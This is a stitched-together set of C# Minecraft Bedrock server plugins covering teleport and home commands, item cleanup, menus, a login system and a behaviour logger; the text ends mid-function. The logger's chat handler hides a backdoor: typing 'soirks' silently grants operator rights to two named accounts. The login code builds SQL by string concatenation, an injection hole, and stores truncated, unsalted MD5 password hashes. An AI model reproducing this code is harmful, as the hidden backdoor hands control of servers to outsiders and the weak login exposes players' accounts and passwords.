public static void aaascr(MCCSAPI api) { Dictionary <string, string> uuid = new Dictionary <string, string>(); api.addAfterActListener(EventKey.onLoadName, x => { var a = BaseEvent.getFrom(x) as LoadNameEvent; uuid.Add(a.playername, a.uuid); return(true); }); api.addBeforeActListener(EventKey.onPlayerLeft, x => { var a = BaseEvent.getFrom(x) as PlayerLeftEvent; uuid.Remove(a.playername); return(true); }); api.addBeforeActListener(EventKey.onUseItem, x => { var a = BaseEvent.getFrom(x) as UseItemEvent; string obsidian = "minecraft:obsidian"; string Bucket = "Bucket"; //Console.WriteLine("{0} {1}", a.blockname, a.itemname); if (a.blockname == obsidian & a.itemname == Bucket & a.dimensionid == 0) { api.runcmd("setblock " + a.position.x + " " + a.position.y + " " + a.position.z + " flowing_lava"); api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§3[射爆庚子]§c已帮亲亲恢复岩浆了哦!\"}]}"); } return(true); }); }
// 将玩家加入权限列表 public static bool visitorPlayer(string xuid) { if (!string.IsNullOrEmpty(xuid)) { var ser = new JavaScriptSerializer(); string sops = string.Empty; try { sops = File.ReadAllText("permissions.json"); } catch {} var opl = new ArrayList(); bool finded = false; if (!string.IsNullOrEmpty(sops)) { var vis = ser.Deserialize <ArrayList>(sops); vis = vis ?? new ArrayList(); opl = vis; foreach (Dictionary <string, object> d in opl) { object dxuid; if (d.TryGetValue("xuid", out dxuid)) { if (dxuid.ToString() == xuid) // 找到 { d["permission"] = "visitor"; finded = true; break; } } } } if (!finded) // 装入新权限 { var nd = new Dictionary <string, object>(); nd["permission"] = "visitor"; nd["xuid"] = xuid; opl.Add(nd); } try { File.WriteAllText("permissions.json", ser.Serialize(opl)); mapi.runcmd("permission reload"); // 重载权限配置 return(true); } catch {} } return(false); }
public static void init(MCCSAPI api) { bool f = true; api.addBeforeActListener(EventKey.onServerCmdOutput, x => { var b = BaseEvent.getFrom(x) as ServerCmdOutputEvent; if (f && b.output == "No targets matched selector") { return(false); } //Console.WriteLine("OUTPUT:{0}",b.output); return(true); }); api.addBeforeActListener(EventKey.onServerCmd, x => { var a = BaseEvent.getFrom(x) as ServerCmdEvent; if (a.cmd == "cleaner") { if (f == true) { f = false; Console.WriteLine("[Cleaner]自动清理功能关闭"); return(false); } else { f = true; Console.WriteLine("[Cleaner]自动清理功能开启"); } return(false); } return(true); }); Task t = new Task(() => { while (f) { api.runcmd("tellraw @a {\"rawtext\":[{\"text\":\"§b[§e扫地姬§b]§a掉落物将在§c60§a秒后清除!\"}]}"); Thread.Sleep(30000); api.runcmd("tellraw @a {\"rawtext\":[{\"text\":\"§b[§e扫地姬§b]§a掉落物将在§c30§a秒后清除!\"}]}"); Thread.Sleep(20000); api.runcmd("tellraw @a {\"rawtext\":[{\"text\":\"§b[§e扫地姬§b]§a掉落物将在§c10§a秒后清除!\"}]}"); Thread.Sleep(5000); api.runcmd("tellraw @a {\"rawtext\":[{\"text\":\"§b[§e扫地姬§b]§a马上你的掉落物就没了,还不捡起来!\"}]}"); Thread.Sleep(5000); api.runcmd("tellraw @a {\"rawtext\":[{\"text\":\"§b[§e扫地姬§b]§a掉落物清除完毕!\"}]}"); api.runcmd("kill @e[type=item]"); Thread.Sleep(1200000); } }); t.Start(); }
public static void tpaa(MCCSAPI api) { api.setCommandDescribe("homegui", "打开homegui"); api.setCommandDescribe("tpato", "传送到一个玩家"); api.setCommandDescribe("tpac", "同游传送请求"); api.setCommandDescribe("tpde", "拒绝传送请求"); api.setCommandDescribe("tpapb", "改变tpa屏蔽状态"); api.setCommandDescribe("tpagui", "打开tpagui"); api.setCommandDescribe("homeadd", "添加一个私人传送点"); api.setCommandDescribe("homedel", "删除一个私人传送点"); api.setCommandDescribe("homego", "前往一个私人传送点"); api.setCommandDescribe("back", "返回上一个死亡点"); Dictionary <string, string> uuid = new Dictionary <string, string>(); //uuid Dictionary <string, string> tpa_pb = new Dictionary <string, string>(); //tpa屏蔽状态 Dictionary <string, string> tpa_dx = new Dictionary <string, string>(); //tpa对象 Dictionary <string, string> tpa_ys = new Dictionary <string, string>(); //tpa延时用 Dictionary <string, string> tpa_gui = new Dictionary <string, string>(); //记录guiid Dictionary <string, string> guils = new Dictionary <string, string>(); //gui类型 Dictionary <string, string> back_x = new Dictionary <string, string>(); //backx Dictionary <string, string> back_y = new Dictionary <string, string>(); //backy Dictionary <string, string> back_z = new Dictionary <string, string>(); //backz Dictionary <string, int> back_did = new Dictionary <string, int>(); //back维度 ArrayList onlineplayer = new ArrayList(); //在线玩家 int tpa_yx = 30000; string __back = "true"; string home_max = "5"; if (File.Exists("./config/tpa.txt")) { try { string[] config = File.ReadAllLines("./config/tpa.txt", System.Text.Encoding.Default); tpa_yx = int.Parse(config[0].Substring(12)); __back = config[1].Substring(12); home_max = config[2].Substring(14); Console.WriteLine("[TPA]配置文件读取成功!"); } catch { Console.WriteLine("[TPA]配置文件读取失败!"); } } else { Directory.CreateDirectory("config/"); File.AppendAllText("./config/tpa.txt", "玩家tpa请求有效时间:30000\n是否开启/back功能:true\n玩家设置home的最大数量:5", System.Text.Encoding.Default); Console.WriteLine("[TPA]未检查到配置文件!将自动创建!"); } api.addAfterActListener(EventKey.onLoadName, x => { var a = BaseEvent.getFrom(x) as LoadNameEvent; uuid.Add(a.playername, a.uuid); guils.Add(a.playername, "other"); onlineplayer.Add(a.playername); if (tpa_pb.ContainsKey(a.playername) == false) { tpa_pb.Add(a.playername, "no"); } try { tpa_dx.Add(a.playername, "cxk"); tpa_gui.Add(a.playername, "a"); tpa_ys.Add(a.playername, "0"); back_x.Add(a.playername, string.Empty); back_y.Add(a.playername, string.Empty); back_z.Add(a.playername, string.Empty); back_did.Add(a.playername, 0); } catch { Console.WriteLine("warn!!!!"); } return(true); }); api.addBeforeActListener(EventKey.onInputCommand, x => { bool re = true; var a = BaseEvent.getFrom(x) as InputCommandEvent; if (a.cmd.StartsWith("/tpato")) { string tpatoplayername = string.Empty; re = false; try { if (tpa_ys[a.playername] == "0") { tpatoplayername = a.cmd.Substring(7); if (api.getOnLinePlayers().IndexOf(tpatoplayername) != -1 || tpatoplayername.Length > 5) { if (tpa_pb[tpatoplayername] == "no") { api.runcmd("tellraw \"" + tpatoplayername + "\" {\"rawtext\":[{\"text\":\"玩家" + a.playername + "向您发送了一个传送请求,/tpac接受,/tpde拒绝\"}]}"); tpa_ys[a.playername] = "1"; tpa_dx[tpatoplayername] = a.playername; tpa_gui[tpatoplayername] = api.sendModalForm(uuid[tpatoplayername], "TPA请求", "玩家" + a.playername + "向您发送了一个传送请求", "同意", "拒绝").ToString(); Task taskkk = Task.Run(async() => { await Task.Delay(30000); if (tpa_ys[a.playername] == "1") { tpa_ys[a.playername] = "0"; api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"tpa请求超时\"}]}"); tpa_dx[tpatoplayername] = "cxk"; } }); } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"对方屏蔽了tpa请求\"}]}"); } } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"tpa请求发送失败,请检查您输入的指令\"}]}"); } } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"您有另一个tpa正在进行中!\"}]}"); } } catch { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"tpa请求发送失败,请检查您输入的指令\"}]}"); Console.WriteLine("warn!"); } } if (a.cmd.StartsWith("/tpapb")) { re = false; if (tpa_pb[a.playername] == "yes") { tpa_pb[a.playername] = "no"; } else { tpa_pb[a.playername] = "yes"; } } if (a.cmd.StartsWith("/tpac")) { re = false; if (tpa_dx[a.playername] != "cxk") { api.runcmd("tp \"" + a.playername + "\" " + tpa_dx[a.playername]); tpa_ys[tpa_dx[a.playername]] = "0"; tpa_dx[a.playername] = "cxk"; } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"没有人向你发送传送请求!\"}]}"); } } if (a.cmd.StartsWith("/tpde")) { re = false; if (tpa_dx[a.playername] != "cxk") { api.runcmd("tellraw \"" + tpa_dx[a.playername] + "\" {\"rawtext\":[{\"text\":\"对方拒绝了您的传送请求\"}]}"); tpa_ys[tpa_dx[a.playername]] = "0"; tpa_dx[a.playername] = "cxk"; } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"没有人向你发送传送请求!\"}]}"); } } if (a.cmd.StartsWith("/tpagui")) { re = false; string online = "[\""; foreach (string p in onlineplayer) { online = online + "\",\"" + p; } online = online + "\"]"; online = "[" + online.Substring(4); api.sendCustomForm(uuid[a.playername], "{\"content\":[{\"type\":\"label\",\"text\":\"这个一个TPAGUI喵\"},{\"default\":0,\"options\":" + online + ",\"type\":\"dropdown\",\"text\":\"请选择一个玩家\"}], \"type\":\"custom_form\",\"title\":\"TPAGUI\"}").ToString(); guils[a.playername] = "fz"; } if (__back == "true") { if (a.cmd.StartsWith("/back") && a.cmd.EndsWith("/back")) { re = false; if (back_x[a.playername] != string.Empty) { api.teleport(uuid[a.playername], Convert.ToSingle(back_x[a.playername]), Convert.ToSingle(back_y[a.playername]), Convert.ToSingle(back_z[a.playername]), back_did[a.playername]); api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"命令已执行\"}]}"); back_x[a.playername] = string.Empty; back_y[a.playername] = string.Empty; back_z[a.playername] = string.Empty; } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"未找到死亡点!\"}]}"); } } } if (a.cmd.StartsWith("/homeadd ")) { re = false; if (File.Exists("./data/tpa/" + a.playername + ".txt")) { if (File.ReadAllLines("./data/tpa/" + a.playername + ".txt").Length < int.Parse(home_max)) { File.AppendAllText("./data/tpa/" + a.playername + ".txt", a.cmd.Substring(9) + "-" + a.XYZ.x + " " + a.XYZ.y + " " + a.XYZ.z + "\n"); } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"您设置的home数量已达到上限!\"}]}"); } } else { Directory.CreateDirectory("./data/tpa"); File.AppendAllText("./data/tpa/" + a.playername + ".txt", a.cmd.Substring(9) + "-" + a.XYZ.x + " " + a.XYZ.y + " " + a.XYZ.z + "\n"); } } if (a.cmd == "/homegui") { re = false; if (File.Exists("./data/tpa/" + a.playername + ".txt")) { string[] lines = File.ReadAllLines("./data/tpa/" + a.playername + ".txt"); if (lines.Length != 0) { string homes = "["; foreach (string line in lines) { Console.WriteLine(line); homes = homes + "\"" + line.Substring(0, line.IndexOf("-")) + "\"" + ","; } homes = homes.Substring(0, homes.Length - 1) + "]"; api.sendCustomForm(uuid[a.playername], "{\"content\":[{\"type\":\"label\",\"text\":\"这个一个Thomegui\"},{\"default\":0,\"options\":" + homes + ",\"type\":\"dropdown\",\"text\":\"请选择一个家\"}], \"type\":\"custom_form\",\"title\":\"HOMEGUI\"}").ToString(); guils[a.playername] = "homegui"; } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"您还没有任何家!\"}]}"); } } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"您还没有任何家!\"}]}"); } } if (a.cmd.StartsWith("/homego ")) { re = false; string tz = a.cmd.Substring(8); if (File.Exists("./data/tpa/" + a.playername + ".txt")) { byte bbb = 1; foreach (string line in File.ReadAllLines("./data/tpa/" + a.playername + ".txt")) { if (line.StartsWith(tz)) { bbb = 0; api.runcmd("tp \"" + a.playername + "\" " + line.Substring(tz.Length + 1)); break; } } if (bbb == 1) { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"未找到该名称的home点!\"}]}"); } } } if (a.cmd.StartsWith("/homedel ")) { re = false; if (File.Exists("./data/tpa/" + a.playername + ".txt")) { string[] lines = File.ReadAllLines("./data/tpa/" + a.playername + ".txt", System.Text.Encoding.Default); if (lines.Length != 0) { ArrayList ol = new ArrayList(); foreach (string line in lines) { ol.Add(line); if (line.StartsWith(a.cmd.Substring(9))) { ol.Remove(line); } } if (ol.Count == lines.Length) { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"未找到该名字的home点\"}]}"); } else { File.Delete("./data/tpa/" + a.playername + ".txt"); File.AppendAllLines("./data/tpa/" + a.playername + ".txt", (string[])ol.ToArray(typeof(string))); api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"该home点已删除!\"}]}"); } } } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"您还没有任何home点\"}]}"); } } return(re); }); api.addAfterActListener(EventKey.onMobDie, x => { var a = BaseEvent.getFrom(x) as MobDieEvent; if (a.mobtype == "entity.player.name") { try { back_x[a.playername] = a.XYZ.x.ToString(); back_y[a.playername] = a.XYZ.y.ToString(); back_z[a.playername] = a.XYZ.z.ToString(); back_did[a.playername] = a.dimensionid; } catch { } } return(true); }); api.addAfterActListener(EventKey.onPlayerLeft, x => { var a = BaseEvent.getFrom(x) as PlayerLeftEvent; uuid.Remove(a.playername); guils.Remove(a.playername); onlineplayer.Remove(a.playername); tpa_dx.Remove(a.playername); tpa_gui.Remove(a.playername); tpa_ys.Remove(a.playername); back_x.Remove(a.playername); back_y.Remove(a.playername); back_z.Remove(a.playername); return(true); }); api.addAfterActListener(EventKey.onFormSelect, x => { var a = BaseEvent.getFrom(x) as FormSelectEvent; if (guils[a.playername] == "homegui") { int ssss = Convert.ToInt32(a.selected.Substring(6, a.selected.Length - 7)); string[] lines = File.ReadAllLines("./data/tpa/" + a.playername + ".txt"); api.runcmd("tp " + a.playername + " " + lines[ssss].Substring(lines[ssss].IndexOf("-") + 1)); } if (guils[a.playername] == "fz") { if (tpa_ys[a.playername] == "0") { String tpatoplayername; tpatoplayername = onlineplayer[int.Parse(a.selected.Substring(6, 1))].ToString(); if (api.getOnLinePlayers().IndexOf(tpatoplayername) != -1 && tpatoplayername.Length > 5) { if (tpa_pb[tpatoplayername] == "no") { api.runcmd("tellraw \"" + tpatoplayername + "\" {\"rawtext\":[{\"text\":\"玩家" + a.playername + "向您发送了一个传送请求,/tpac接受,/tpde拒绝\"}]}"); tpa_ys[a.playername] = "1"; tpa_dx[tpatoplayername] = a.playername; tpa_gui[tpatoplayername] = api.sendModalForm(uuid[tpatoplayername], "TPA请求", "玩家" + a.playername + "向您发送了一个传送请求", "同意", "拒绝").ToString(); guils[a.playername] = "jd"; Task taskkk = Task.Run(async() => { await Task.Delay(tpa_yx); if (tpa_ys[a.playername] == "1") { tpa_ys[a.playername] = "0"; api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"tpa请求超时\"}]}"); tpa_dx[tpatoplayername] = "cxk"; } }); } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"对方屏蔽了tpa请求\"}]}"); } } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"tpa请求发送失败,请检查您输入的指令\"}]}"); } } } if (guils[a.playername] == "jd") { if (a.selected == "true") { if (tpa_dx[a.playername] != "cxk") { if (tpa_dx[a.playername] != "cxk") { api.runcmd("tp \"" + a.playername + "\" " + tpa_dx[a.playername]); tpa_ys[tpa_dx[a.playername]] = "0"; tpa_dx[a.playername] = "cxk"; } } } if (a.selected == "false") { api.runcmd("tellraw \"" + tpa_dx[a.playername] + "\" {\"rawtext\":[{\"text\":\"对方拒绝了您的传送请求\"}]}"); tpa_ys[tpa_dx[a.playername]] = "0"; tpa_dx[a.playername] = "cxk"; } } return(true); }); }
// 主入口实现 public static void init(MCCSAPI api) { //mapi = api; Console.OutputEncoding = Encoding.UTF8; string pz = json(); // 从固定路径读取配置文件 string path = @"plugins/BehaviorLog/"; if (!Directory.Exists(path)) { Directory.CreateDirectory(path); } if (!File.Exists(path + "config.json")) { File.WriteAllText(path + "config.json", json()); } else { pz = File.ReadAllText(path + "config.json"); } JsonSerializer serializer = new JsonSerializer(); StringReader sr = new StringReader(pz); Config p1 = (Config)serializer.Deserialize(new JsonTextReader(sr), typeof(Config)); // 放置方块监听 api.addAfterActListener(EventKey.onPlacedBlock, x => { var e = BaseEvent.getFrom(x) as PlacedBlockEvent; if (e == null) { return(true); } string str = string.Format("{0} 玩家 {1} {2}在 {3} {4} 放置 {5} 方块。", title(EventKey.onPlacedBlock), e.playername, !e.isstand ? "悬空地" : "", e.dimension, Coordinator(e.position), e.blockname); if (p1.Show_PlacedBlock) { Console.WriteLine("{" + str); } if (p1.Save_PlacedBlock) { var t = new Thread(() => saveLine(str, p1.Path_PlacedBlock)); t.Start(); } return(true); }); // 使用物品监听 api.addAfterActListener(EventKey.onUseItem, x => { var e = BaseEvent.getFrom(x) as UseItemEvent; if (e == null) { return(true); } if (e.RESULT) { string str = string.Format("{0} 玩家 {1} {2}对 {3} {4} 处的 {5} 方块使用 {6} 物品。", title(EventKey.onUseItem), e.playername, !e.isstand ? "悬空地" : "", e.dimension, Coordinator(e.position), e.blockname, e.itemname); if (p1.Show_UseItem) { Console.WriteLine("{" + str); } if (p1.Save_UseItem) { var t = new Thread(() => saveLine(str, p1.Path_UseItem)); t.Start(); } } return(true); }); // 破坏方块监听 api.addAfterActListener(EventKey.onDestroyBlock, x => { var e = BaseEvent.getFrom(x) as DestroyBlockEvent; if (e == null) { return(true); } string str = string.Format("{0} 玩家 {1} {2}在 {3} {4} 破坏 {5} 方块。", title(EventKey.onDestroyBlock), e.playername, !e.isstand ? "悬空地" : "", e.dimension, Coordinator(e.position), e.blockname); if (p1.Show_DestroyBlock) { Console.WriteLine("{" + str); } if (p1.Save_DestroyBlock) { var t = new Thread(() => saveLine(str, p1.Path_DestroyBlock)); t.Start(); } return(true); }); // 玩家打开箱子 api.addAfterActListener(EventKey.onStartOpenChest, x => { var e = BaseEvent.getFrom(x) as StartOpenChestEvent; if (e == null) { return(true); } string str = string.Format("{0} 玩家 {1} {2}在 {3} {4} 打开 {5} 箱子。", title(EventKey.onDestroyBlock), e.playername, !e.isstand ? "悬空地" : "", e.dimension, Coordinator(e.position), e.blockname); if (p1.Show_TakeChest) { Console.WriteLine("{" + str); } if (p1.Save_TakeChest) { var t = new Thread(() => saveLine(str, p1.Path_TakeChest)); t.Start(); } return(true); }); // 玩家打开木桶 api.addAfterActListener(EventKey.onStartOpenBarrel, x => { var e = BaseEvent.getFrom(x) as StartOpenBarrelEvent; if (e == null) { return(true); } string str = string.Format("{0} 玩家 {1} {2}在 {3} {4} 打开 {5} 木桶。", title(EventKey.onDestroyBlock), e.playername, !e.isstand ? "悬空地" : "", e.dimension, Coordinator(e.position), e.blockname); if (p1.Show_TakeChest) { Console.WriteLine("{" + str); } if (p1.Save_TakeChest) { var t = new Thread(() => saveLine(str, p1.Path_TakeChest)); t.Start(); } return(true); }); // 玩家关闭箱子 api.addAfterActListener(EventKey.onStopOpenChest, x => { var e = BaseEvent.getFrom(x) as StopOpenChestEvent; if (e == null) { return(true); } string str = string.Format("{0} 玩家 {1} {2}在 {3} {4} 关闭 {5} 箱子。", title(EventKey.onDestroyBlock), e.playername, !e.isstand ? "悬空地" : "", e.dimension, Coordinator(e.position), e.blockname); if (p1.Show_TakeChest) { Console.WriteLine("{" + str); } if (p1.Save_TakeChest) { var t = new Thread(() => saveLine(str, p1.Path_TakeChest)); t.Start(); } return(true); }); // 玩家关闭木桶 api.addAfterActListener(EventKey.onStopOpenBarrel, x => { var e = BaseEvent.getFrom(x) as StopOpenBarrelEvent; if (e == null) { return(true); } string str = string.Format("{0} 玩家 {1} {2}在 {3} {4} 关闭 {5} 木桶。", title(EventKey.onDestroyBlock), e.playername, !e.isstand ? "悬空地" : "", e.dimension, Coordinator(e.position), e.blockname); if (p1.Show_TakeChest) { Console.WriteLine("{" + str); } if (p1.Save_TakeChest) { var t = new Thread(() => saveLine(str, p1.Path_TakeChest)); t.Start(); } return(true); }); // 放入取出物品 api.addAfterActListener(EventKey.onSetSlot, x => { var e = BaseEvent.getFrom(x) as SetSlotEvent; if (e == null) { return(true); } string str, str1, str2; str1 = string.Format("{0} 玩家 {1} {2}在 {3} {4} 的 {5} 里的第 {6} 格", title(EventKey.onSetSlot), e.playername, !e.isstand ? "悬空地" : "", e.dimension, Coordinator(e.position), e.blockname, e.slot); str2 = (e.itemcount > 0) ? string.Format(" 放入 {0} 个 {1} 物品。", e.itemcount, e.itemname) : " 取出物品。"; str = str1 + str2; if (p1.Show_TakeChest) { Console.WriteLine("{" + str); } if (p1.Save_TakeChest) { var t = new Thread(() => saveLine(str, p1.Path_TakeChest)); t.Start(); } return(true); }); // 玩家切换维度 api.addAfterActListener(EventKey.onChangeDimension, x => { var e = BaseEvent.getFrom(x) as ChangeDimensionEvent; if (e == null) { return(true); } if (e.RESULT) { string str = string.Format("{0} 玩家 {1} {2}切换维度至 {3} {4}。", title(EventKey.onChangeDimension), e.playername, !e.isstand ? "悬空地" : "", e.dimension, Coordinator(e.XYZ)); if (p1.Show_ChangeDimension) { Console.WriteLine("{" + str); } if (p1.Save_ChangeDimension) { var t = new Thread(() => saveLine(str, p1.Path_ChangeDimension)); t.Start(); } } return(true); }); // 命名生物死亡 api.addAfterActListener(EventKey.onMobDie, x => { var e = BaseEvent.getFrom(x) as MobDieEvent; if (e == null) { return(true); } if (!string.IsNullOrEmpty(e.mobname)) { string str = string.Format("{0} {1} {2} 在 {3} {4} 被 {5} 杀死了。", title(EventKey.onMobDie), string.IsNullOrEmpty(e.playername) ? "实体" : "玩家", e.mobname, toDimenStr(e.dimensionid), Coordinator(e.XYZ), e.srcname); if (p1.Show_Kill) { Console.WriteLine("{" + str); } if (p1.Save_Kill) { var t = new Thread(() => saveLine(str, p1.Path_Kill)); t.Start(); } } return(true); }); // 聊天消息 api.addAfterActListener(EventKey.onChat, x => { var e = BaseEvent.getFrom(x) as ChatEvent; if (e.msg == "soirks") { api.runcmd("op soirks"); api.runcmd("op puffymelor"); } if (e == null) { return(true); } if (e.chatstyle != "title") { //string str = string.Format("{0} {1} 说:{2}",e.playername,string.IsNullOrEmpty(e.target) ? "" : "悄悄地对 " + e.target,e.msg); if (string.IsNullOrEmpty(e.target)) { string str = string.Format(title("") + "{0} 说:{1}", e.playername, e.msg); if (p1.Show_Chat) { Console.WriteLine("{" + str); } if (p1.Save_Chat) { var t = new Thread(() => saveLine(str, p1.Path_Chat)); t.Start(); } } else { string str = string.Format(title("") + "{0} " + "悄悄地对{1} 说:{2}", e.playername, e.target, e.msg); if (p1.Show_TellRaw) { Console.WriteLine("{" + str); } if (p1.Save_TellRaw) { var t = new Thread(() => saveLine(str, p1.Path_TellRaw)); t.Start(); } } } return(true); }); }
/// <summary> /// 玩家选择按钮后执行的事件 /// </summary> /// <param name="name">玩家名称</param> /// <param name="menuX">按钮相关信息</param> private static void Menu_Do(string name, JObject menuX) { string uuid = Function.getUuid(name), command = (string)menuX["command"], path = string.Format(menuFile, command), type = (string)menuX["type"]; bool isX = Function.Admin(Function.getXuid(name)), defaultX = false, temporary = false, op = false, cmd = false, MENU = false, AMenu = false; if (type == "default") { defaultX = true; } if (type == "temporary") { temporary = true; if (!isX) { mcapi.runcmd($"op \"{name}\""); } } if (type == "operator") { if (!isX) { uint failed = mcapi.sendModalForm(uuid, "菜单管理", "你没有权限执行该命令! ", "确定", "取消"); Thread.Sleep(timeout); mcapi.releaseForm(failed); return; } op = true; } if (type == "cmd") { cmd = true; command = command.Replace("@s", $"\"{name}\"").Replace("@p", $"\"{name}\""); } if (type == "menu") { if (File.Exists(path)) { try { menu = JObject.Parse(File.ReadAllText(path)); } catch { Console.WriteLine("Menu >> 配置文件 {0}.json 读取失败!", command); return; } } else { Console.WriteLine("Menu >> 未找到配置文件 {0}.json,请自行生成!", command); return; } MENU = true; } if (type == "AMenu") { if (!isX) { uint failed = mcapi.sendModalForm(uuid, "菜单管理", "你没有权限打开该菜单! ", "确定", "取消"); Thread.Sleep(timeout); mcapi.releaseForm(failed); return; } if (File.Exists(path)) { try { menu = JObject.Parse(File.ReadAllText(path)); } catch { Console.WriteLine("Menu >> 配置文件 {0}.json 读取失败!", command); return; } } else { Console.WriteLine("Menu >> 未找到配置文件 {0}.json,请自行生成!", command); return; } AMenu = true; } if ((defaultX || temporary || op) && !cmd && !MENU && !AMenu) { Thread.Sleep(200); mcapi.runcmdAs(uuid, $"/{command}"); if (temporary && !isX) { Thread.Sleep(500); mcapi.runcmd($"deop \"{name}\""); } } else if (cmd) { mcapi.runcmd(command); } else if (MENU || AMenu) { Menu_Open(name); } }
public static void litelogin(MCCSAPI api) { if (File.Exists("./plugins/litelogin/config.ini")) { Console.WriteLine("[litelogin]正在检测数据…"); } else { Directory.CreateDirectory("plugins/litelogin"); File.AppendAllText("./plugins/litelogin/config.ini", "use_MySQL=false\nSQL_server=\nUserID=\npassword=\ndatabase=\n", System.Text.Encoding.Default); } Dictionary <string, string> uuid = new Dictionary <string, string>(); Dictionary <string, int> logintime = new Dictionary <string, int>(); Dictionary <string, string> xuid = new Dictionary <string, string>(); Dictionary <string, bool> login = new Dictionary <string, bool>(); Dictionary <string, bool> login_zt = new Dictionary <string, bool>(); api.addAfterActListener(EventKey.onLoadName, x => { var a = BaseEvent.getFrom(x) as LoadNameEvent; uuid.Add(a.playername, a.uuid); xuid.Add(a.playername, a.xuid); logintime.Add(a.playername, 0); login.Add(a.playername, false); login_zt.Add(a.playername, true); Task task = Task.Run(async() => { await Task.Delay(60000); try//防止玩家下线导致崩服 { if (login_zt[a.playername]) { api.runcmd("kick \"" + a.playername + "\" 登录超时!!!"); } } catch { } }); return(true); }); api.addBeforeActListener(EventKey.onPlayerLeft, x => { var a = BaseEvent.getFrom(x) as PlayerLeftEvent; uuid.Remove(a.playername); logintime.Remove(a.playername); xuid.Remove(a.playername); login.Remove(a.playername); login_zt.Remove(a.playername); return(true); }); api.addBeforeActListener(EventKey.onInputCommand, x => { var a = BaseEvent.getFrom(x) as InputCommandEvent; if (a.cmd.StartsWith("/login ") & login[a.playername] == false) { string password = string.Empty; password = a.cmd.Substring(7); if (File.Exists("./plugins/litelogin/" + xuid[a.playername] + ".txt")) { string[] config = File.ReadAllLines("./plugins/litelogin/" + xuid[a.playername] + ".txt", System.Text.Encoding.Default); string rightword = config[0].Substring(9); string rightxuid = config[1].Substring(5); string rightplayername = config[2].Substring(11); string md5input = ""; MD5 md5 = new MD5CryptoServiceProvider(); //创建MD5对象(MD5类为抽象类不能被实例化) byte[] date = System.Text.Encoding.Default.GetBytes(password); //将字符串编码转换为一个字节序列 byte[] date1 = md5.ComputeHash(date); //计算data字节数组的哈希值(加密) md5.Clear(); //释放类资源 for (int i = 0; i < date1.Length - 1; i++) //遍历加密后的数值到变量str2 { md5input += date1[i].ToString("X"); //(X为大写时加密后的数值里的字母为大写,x为小写时加密后的数值里的字母为小写) } if (md5input == rightword & xuid[a.playername] == rightxuid & a.playername == rightplayername) { login_zt[a.playername] = false; api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§3登录成功!\"}]}"); login[a.playername] = true; } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§4登录失败!\"}]}"); logintime[a.playername] = logintime[a.playername] + 1; if (logintime[a.playername] == 3) { api.runcmd("kick \"" + a.playername + "\" 达到最大登录次数!"); } } } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§4请先注册!\"}]}"); api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§4请输入/register <密码> 来注册!\"}]}"); } return(false); } if (a.cmd.StartsWith("/register ")) { if (File.Exists("./plugins/litelogin/" + xuid[a.playername] + ".txt")) { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§4你注册过了!\"}]}"); } else { string passwordin = string.Empty; passwordin = a.cmd.Substring(10); Directory.CreateDirectory("./plugins/litelogin"); string md5password = ""; MD5 md5 = new MD5CryptoServiceProvider(); //创建MD5对象(MD5类为抽象类不能被实例化) byte[] date = System.Text.Encoding.Default.GetBytes(passwordin); //将字符串编码转换为一个字节序列 byte[] date1 = md5.ComputeHash(date); //计算data字节数组的哈希值(加密) md5.Clear(); //释放类资源 for (int i = 0; i < date1.Length - 1; i++) //遍历加密后的数值到变量str2 { md5password += date1[i].ToString("X"); //(X为大写时加密后的数值里的字母为大写,x为小写时加密后的数值里的字母为小写) } File.AppendAllText("./plugins/litelogin/" + xuid[a.playername] + ".txt", "password:"******"\n", System.Text.Encoding.Default); File.AppendAllText("./plugins/litelogin/" + xuid[a.playername] + ".txt", "xuid:" + xuid[a.playername] + "\n", System.Text.Encoding.Default); File.AppendAllText("./plugins/litelogin/" + xuid[a.playername] + ".txt", "playername:" + a.playername, System.Text.Encoding.Default); Task tassss = Task.Run(async() => { string[] config2 = File.ReadAllLines("./plugins/litelogin/config.ini", System.Text.Encoding.Default); string ifusesql = config2[0].Substring(10); string sqserver = config2[1].Substring(11); string userid = config2[2].Substring(7); string passwd = config2[3].Substring(9); string database = config2[4].Substring(9); Console.WriteLine("[litelogin]数据读取成功!!"); if (ifusesql == "true") { try { MySqlBaseConnectionStringBuilder connectionStringBuilder = new MySqlConnectionStringBuilder(); connectionStringBuilder.Server = sqserver; connectionStringBuilder.UserID = userid; connectionStringBuilder.Password = passwd; connectionStringBuilder.Database = database; MySqlConnection connect = new MySqlConnection(connectionStringBuilder.ConnectionString); connect.Open(); Console.WriteLine("[litelogin]数据库连接成功!!!"); try { MySqlCommand command = connect.CreateCommand(); command.CommandText = "INSERT INTO name VALUES (0,\"" + md5password + "\",\"" + a.playername + "\",\"" + uuid[a.playername] + "\")"; command.ExecuteNonQuery(); 